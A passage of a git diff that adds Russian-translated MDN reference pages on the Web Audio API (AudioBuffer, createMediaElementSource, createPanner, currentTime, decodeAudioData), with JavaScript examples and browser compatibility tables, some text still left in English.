+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Начиная с Chrome 45, это свойство больше не наследуется от Node.</p>
diff --git a/files/ru/web/api/audiobuffer/index.html b/files/ru/web/api/audiobuffer/index.html
new file mode 100644
index 0000000000..3cd5485a68
--- /dev/null
+++ b/files/ru/web/api/audiobuffer/index.html
@@ -0,0 +1,215 @@
+---
+title: AudioBuffer
+slug: Web/API/AudioBuffer
+translation_of: Web/API/AudioBuffer
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<h2 id="Сводка">Сводка</h2>
+
+<p><code>AudioBuffer</code> - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в  {{ domxref("AudioBufferSourceNode") }}.</p>
+</div>
+
+<p>Объекты этого типа предназначены для хранения небольших звуковых фрагментов, обычно менее 45 секунд. Для более длинных звуков, объекты реализующие {{domxref("MediaElementAudioSourceNode")}} являются более подходящими. Этот буфер содержит данные в формате неперемещаемого IEE754 32-битного линейного ИКМ с номинальным диапазоном от -1 до +1, то есть 32-битный буфер с плавающей точкой каждого звукового фрагмента (samples) от -1.0 до 1.0. Если {{domxref("AudioBuffer")}} имеет несколько каналов, то они хранятся в отдельном буфере.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.AudioBuffer", "AudioBuffer()")}}</dt>
+ <dd><span style="display: none;"> </span>Создает и возвращает новый объект <code>AudioBuffer</code>.</dd>
+ <dt>
+ <h2 id="Свойства"><span style="display: none;"> </span>Свойства</h2>
+ </dt>
+ <dt>{{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Возвращает число с плавающей точкой - частоту дискретизации (sample rate), хранящих в буфере данных ИКМ в звуковых фрагментах (samples) в секунду.</dd>
+ <dt>{{domxref("AudioBuffer.length")}} {{readonlyInline}}</dt>
+ <dd>Возвращает целое число - длину в кадрах, хранящихся в буфере данных ИКМ.</dd>
+ <dt>{{domxref("AudioBuffer.duration")}} {{readonlyInline}}</dt>
+ <dd>Возвращает целое число или число с плавающей точкой - продолжительность в секундах данных ИКМ, хранящихся в буфере.</dd>
+ <dt>{{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}</dt>
+ <dd>Возвращает целое число - количество аудиоканалов в буфере, описываемых данными ИКМ.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.getChannelData()")}}</dt>
+ <dd>Возвращает {{jsxref("Float32Array")}}, содержащий связанные с каналом данные ИКМ. Определяется параметром канала (с 0 - первого канала).</dd>
+ <dt>{{domxref("AudioBuffer.copyFromChannel()")}}</dt>
+ <dd>Копирует звуковые фрагменты (samples) из указанного канала AudioBuffer в массив.</dd>
+ <dt>{{domxref("AudioBuffer.copyToChannel()")}}</dt>
+ <dd>Копирует звуковые фрагменты (samples) из массива в указанный канал AudioBuffer.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере показывается как создать объект AudioBuffer и заполнить его случайными белыми шумами. Вы можете найти полный пример в репозитории <a href="https://github.com/mdn/webaudio-examples">webaudio-examples</a>. Так же доступна <a href="https://mdn.github.io/webaudio-examples/audio-buffer/">live версия</a>.</p>
+
+<pre class="brush: js;highlight:[7,14,27]">// Стерео
+var channels = 2;
+
+// Создает пустой двухсекундный стерео-буфер
+// с частотой звука AudioContext (sample rate)
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Заполняет буфер белыми шумами;
+  // просто случайные значения от -1.0 до 1.0
+  for (var channel = 0; channel &lt; channels; channel++) {
+    // Получаем массив данных канала
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i &lt; frameCount; i++) {
+      // Math.random() находится в [0; 1.0]
+      // аудио должно быть в интервале [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  // Получает AudioBufferSourceNode.
+  // AudioNode для проигрывания из AudioBuffer
+  var source = audioCtx.createBufferSource();
+
+  // устанавливает буфер в AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+
+  // присоединяет AudioBufferSourceNode к
+  // destination, чтобы мы могли слышать звук
+  source.connect(audioCtx.destination);
+
+  // Начать воспроизведение с источника
+  source.start();
+
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(14.0)}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(15)}} {{property_prefix("webkit")}}<br>
+    {{CompatOpera(22)}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>copyFromChannel()</code> и <code>copyToChannel()</code></p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(27)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome для Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(25)}}</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+   <td>{{CompatChrome(28.0)}} {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>copyFromChannel() </code>и <code>copyToChannel()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(27)}}</td>
+   <td> </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Использование Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audiocontext/createmediaelementsource/index.html b/files/ru/web/api/audiocontext/createmediaelementsource/index.html
new file mode 100644
index 0000000000..dcb637c6ac
--- /dev/null
+++ b/files/ru/web/api/audiocontext/createmediaelementsource/index.html
@@ -0,0 +1,156 @@
+---
+title: AudioContext.createMediaElementSource()
+slug: Web/API/AudioContext/createMediaElementSource
+translation_of: Web/API/AudioContext/createMediaElementSource
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>Метод <code>createMediaElementSource()</code> интерфейса {{ domxref("AudioContext") }} используется для создания объекта {{ domxref("MediaElementAudioSourceNode") }} из существующих HTML элементов {{htmlelement("audio")}} или {{htmlelement("video")}} для дальнейших манипуляций со звуком и его воспроизведения.</p>
+</div>
+
+<p>Узнать больше о созданном таким образом аудио узле можно на справочной странице {{ domxref("MediaElementAudioSourceNode") }}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>myMediaElement</code></dt>
+ <dd>Обьект {{domxref("HTMLMediaElement")}}, который Вы хотите использовать в качестве исходного звука.</dd>
+</dl>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Объект {{domxref("MediaElementAudioSourceNode")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Простой пример создания аудио узла из элемента {{htmlelement("audio") }} используя <code>createMediaElementSource()</code>, и управления усилением звука через {{ domxref("GainNode") }} перед подачей в {{ domxref("AudioDestinationNode") }} для воспроизведения. При движении мыши вызывается функция <code>updatePage()</code>, вычисляющая текущее усиление как отношение Y позиции курсора к общей высоте окна. Таким образом Вы можете увеличивать/уменьшать громкость звучания аудио движениями мыши вверх/вниз.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете также посмотреть <a href="http://mdn.github.io/media-source-buffer/">демонстрацию</a> или <a href="https://github.com/mdn/media-source-buffer">исходники</a>.</p>
+</div>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var myAudio = document.querySelector('audio');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Создаем MediaElementAudioSourceNode
+// На основе HTMLMediaElement
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// Создаем узел контроля громкости (усиления)
+var gainNode = audioCtx.createGain();
+
+// Переменные, содержащие Y координату курсора мыши
+// и высоту окна
+var CurY;
+var HEIGHT = window.innerHeight;
+
+// Обновляем Y координату курсора при движении мышью
+// и вычисляем новый коэффициент усиления
+
+document.onmousemove = updatePage;
+
+function updatePage(e) {
+    CurY = (window.Event) ? e.pageY : event.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+
+    gainNode.gain.value = CurY/HEIGHT;
+}
+
+
+// Последний шаг - построение графа
+// Подсоединяем AudioBufferSourceNode к gainNode
+// а gainNode, в свою очередь, к конечному узлу вывода
+// Теперь мы можем слушать музыку управляя громкостью воспроизведения движением курсора мыши :)
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вызов <code>createMediaElementSource()</code> перенаправит выходной поток аудиоданных из {{domxref("HTMLMediaElement")}} в обрабатывающий граф AudioContext. Управление воспроизведением медиа все ещё будет осуществляться через API медиа элемента или его панель управления.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioContext-createMediaElementSource-MediaElementAudioSourceNode-HTMLMediaElement-mediaElement', 'createMediaElementSource()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audiocontext/createpanner/index.html b/files/ru/web/api/audiocontext/createpanner/index.html
new file mode 100644
index 0000000000..0a4d5db32b
--- /dev/null
+++ b/files/ru/web/api/audiocontext/createpanner/index.html
@@ -0,0 +1,211 @@
+---
+title: AudioContext.createPanner()
+slug: Web/API/AudioContext/createPanner
+translation_of: Web/API/BaseAudioContext/createPanner
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>Метод <code>createPanner()</code> интерфейса {{ domxref("AudioContext") }} применяется для создания нового {{domxref("PannerNode")}}, который используется для размещения аудиопотока в виртуальном 3D пространстве.</p>
+</div>
+
+<p>The panner node is spatialized in relation to the AudioContext's {{domxref("AudioListener") }} (defined by the {{domxref("AudioContext.listener") }} attribute), which represents the position and orientation of the person listening to the audio.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var panner = audioCtx.createPanner();</pre>
+
+<h3 id="Возврат">Возврат</h3>
+
+<p>A {{domxref("PannerNode")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<div class="note_trans">
+<div>Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода <code>createPanner()</code> для управления пространством объемного звука. Обычно определяется положение в трехмерном пространстве, изначально занимаемое слушателем (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями <code>moveRight()</code>, <code>moveLeft()</code>, и т.п., которые устанавливают новые значения для положения паннера через функцию <code>PositionPanner()</code>.</div>
+
+<div> </div>
+
+<div>
+<div class="note_trans">
+<div>Чтобы увидеть полную реализацию ознакомьтесь с нашим <a href="https://mdn.github.io/webaudio-examples/panner-node/">примером panner-node</a> (<a href="https://mdn.github.io/webaudio-examples/">просмотрите весь список примеров</a>) — эта демонстрация перенесет вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на <a class="popupspot">бумбоксе</a> и затем походить вокруг него и посмотреть как изменяется звук!</div>
+
+<div> </div>
+</div>
+</div>
+</div>
+
+<p>Note how we have used some feature detection to either give the browser the newer property values (like {{domxref("AudioListener.forwardX")}}) for setting position, etc. if it supports those, or older methods (like {{domxref("AudioListener.setOrientation()")}}) if it still supports those but not the new properties.</p>
+
+<pre class="brush: js">// set up listener and panner position information
+// установка сведений о слушателе (listener) и положении panner'а
+var WIDTH = window.innerWidth;
+var HEIGHT = window.innerHeight;
+
+var xPos = Math.floor(WIDTH/2);
+var yPos = Math.floor(HEIGHT/2);
+var zPos = 295;
+
+// define other variables (определяем другие переменные)
+
+var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var panner = audioCtx.createPanner();
+panner.panningModel = 'HRTF';
+panner.distanceModel = 'inverse';
+panner.refDistance = 1;
+panner.maxDistance = 10000;
+panner.rolloffFactor = 1;
+panner.coneInnerAngle = 360;
+panner.coneOuterAngle = 0;
+panner.coneOuterGain = 0;
+
+if(panner.orientationX) {
+  panner.orientationX.value = 1;
+  panner.orientationY.value = 0;
+  panner.orientationZ.value = 0;
+} else {
+  panner.setOrientation(1,0,0);
+}
+
+var listener = audioCtx.listener;
+
+if(listener.forwardX) {
+  listener.forwardX.value = 0;
+  listener.forwardY.value = 0;
+  listener.forwardZ.value = -1;
+  listener.upX.value = 0;
+  listener.upY.value = 1;
+  listener.upZ.value = 0;
+} else {
+  listener.setOrientation(0,0,-1,0,1,0);
+}
+
+var source;
+
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+var boomBox = document.querySelector('.boom-box');
+
+var listenerData = document.querySelector('.listener-data');
+var pannerData = document.querySelector('.panner-data');
+
+leftBound = (-xPos) + 50;
+rightBound = xPos - 50;
+
+xIterator = WIDTH/150;
+
+// listener will always be in the same place for this demo
+// в этом демо слушатель всегда находится на одном и том же месте
+
+if(listener.positionX) {
+  listener.positionX.value = xPos;
+  listener.positionY.value = yPos;
+  listener.positionZ.value = 300;
+} else {
+  listener.setPosition(xPos,yPos,300);
+}
+
+listenerData.innerHTML = 'Listener data: X ' + xPos + ' Y ' + yPos + ' Z ' + 300;
+
+// panner will move as the boombox graphic moves around on the screen
+// паннер будет перемещаться по экрану за перемещением бумбокса
+function positionPanner() {
+  if(panner.positionX) {
+    panner.positionX.value = xPos;
+    panner.positionY.value = yPos;
+    panner.positionZ.value = zPos;
+  } else {
+    panner.setPosition(xPos,yPos,zPos);
+  }
+  pannerData.innerHTML = 'Panner data: X ' + xPos + ' Y ' + yPos + ' Z ' + zPos;
+}</pre>
+
+<div class="note">
+<p>In terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of fiddly math involved, but you will soon get used to it with a bit of experimentation.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioContext-createPanner-PannerNode', 'createPanner()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audiocontext/currenttime/index.html b/files/ru/web/api/audiocontext/currenttime/index.html
new file mode 100644
index 0000000000..51370701f4
--- /dev/null
+++ b/files/ru/web/api/audiocontext/currenttime/index.html
@@ -0,0 +1,97 @@
+---
+title: AudioContext.currentTime
+slug: Web/API/AudioContext/currentTime
+translation_of: Web/API/BaseAudioContext/currentTime
+---
+<p>{{ APIRef("AudioContext") }}</p>
+<div>
+ <p>Поле currentTime принадлежит {{ domxref("AudioContext") }} и возвращает время с момента создания AudioContext. Может использоваться при планировании воспроизведения или визуализации.  Поле currentTime является не перезаписываемым и не может быть остановлено или сброшено.</p>
+</div>
+<h2 id="Синтаксис">Синтаксис</h2>
+<pre class="brush: js">var audioCtx = new AudioContext();
+console.log(audioCtx.currentTime);</pre>
+<h3 id="Тип_данных">Тип данных</h3>
+<p>A double.</p>
+<h2 id="Примеры">Примеры</h2>
+<div class="note">
+ <p><b>Примечание</b>: для большего понимания реализации Web Audio, посмотрите наши Web Audio Demos на <a href="https://github.com/mdn/">MDN Github repo</a>, like <a href="https://github.com/mdn/panner-node">panner-node</a>. Попробуйте ввести <code>audioCtx.currentTime</code> в консоли вашего браузера.</p>
+</div>
+<pre class="brush: js;highlight[8]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.currentTime);
+</pre>
+<h2 id="Specifications">Specifications</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioContext-currentTime', 'currentTime')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+    <td>{{CompatGeckoDesktop(25.0)}} </td>
+    <td>{{CompatNo}}</td>
+    <td>15.0{{property_prefix("webkit")}}<br>
+     22 (unprefixed)</td>
+    <td>6.0{{property_prefix("webkit")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>Firefox OS</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+    <th>Chrome for Android</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatUnknown}}</td>
+    <td>26.0</td>
+    <td>1.2</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>33.0</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audiocontext/decodeaudiodata/index.html b/files/ru/web/api/audiocontext/decodeaudiodata/index.html
new file mode 100644
index 0000000000..faae982eae
--- /dev/null
+++ b/files/ru/web/api/audiocontext/decodeaudiodata/index.html
@@ -0,0 +1,220 @@
+---
+title: AudioContext.decodeAudioData()
+slug: Web/API/AudioContext/decodeAudioData
+tags:
+  - API
+translation_of: Web/API/BaseAudioContext/decodeAudioData
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>The <code>decodeAudioData()</code> method of the {{ domxref("AudioContext") }} Interface is used to asynchronously decode audio file data contained in an {{domxref("ArrayBuffer")}}. In this case the <code>ArrayBuffer</code> is usually loaded from an {{domxref("XMLHttpRequest")}}'s <code>response</code> attribute after setting the <code>responseType</code> to <code>arraybuffer</code>. The decoded AudioBuffer is resampled to the AudioContext's sampling rate, then passed to a callback or promise.</p>
+</div>
+
+<p>This is the preferred method of creating an audio source for Web Audio API from an audio track.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>Older callback syntax:</p>
+
+<pre class="syntaxbox">audioCtx.decodeAudioData(audioData, function(decodedData) {
+  // use the dec​oded data here
+});</pre>
+
+<p>Newer promise-based syntax:</p>
+
+<pre class="syntaxbox">audioCtx.decodeAudioData(audioData).then(function(decodedData) {
+  // use the decoded data here
+});</pre>
+
+<h2 id="Example">Example</h2>
+
+<p>In this section we will first cover the older callback-based system and then the newer promise-based syntax.</p>
+
+<h3 id="Older_callback_syntax">Older callback syntax</h3>
+
+<p>In this example, the <code>getData()</code> function uses XHR to load an audio track, setting the <code>responseType</code> of the request to <code>arraybuffer</code> so that it returns an array buffer as its <code>response</code> that we then store in the <code>audioData</code> variable . We then pass this buffer into a <code>decodeAudioData()</code> function; the success callback takes the successfully decoded PCM data, puts it into an {{ domxref("AudioBufferSourceNode") }} created using {{ domxref("AudioContext.createBufferSource()") }}, connects the source to the {{domxref("AudioContext.destination") }} and sets it to loop.</p>
+
+<p>The buttons in the example simply run <code>getData()</code> to load the track and start it playing, and stop it playing, respectively. When the <code>stop()</code> method is called on the source, the source is cleared out.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can <a href="http://mdn.github.io/decode-audio-data/">run the example live</a> (or <a href="https://github.com/mdn/decode-audio-data">view the source</a>.)</p>
+</div>
+
+<pre class="brush: js">// define variables
+
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var source;
+
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+// use XHR to load an audio track, and
+// decodeAudioData to decode it and stick it in a buffer.
+// Then we put the buffer into the source
+
+function getData() {
+  source = audioCtx.createBufferSource();
+  var request = new XMLHttpRequest();
+
+  request.open('GET', 'viper.ogg', true);
+
+  request.responseType = 'arraybuffer';
+
+
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+        source.buffer = buffer;
+
+        source.connect(audioCtx.destination);
+        source.loop = true;
+      },
+
+      function(e){"Error with decoding audio data" + e.err});
+
+  }
+
+  request.send();
+}
+
+// wire up buttons to stop and play audio
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}
+
+stop.onclick = function() {
+  source.stop(0);
+  play.removeAttribute('disabled');
+}
+
+
+// dump script to pre element
+
+pre.innerHTML = myScript.innerHTML;</pre>
+
+<h3 id="New_promise-based_syntax">New promise-based syntax</h3>
+
+<pre class="brush: js">ctx.decodeAudioData(compressedBuffer).then(function(decodedData) {
+ // use the decoded data here
+});</pre>
+
+<h2 id="Parameters">Parameters</h2>
+
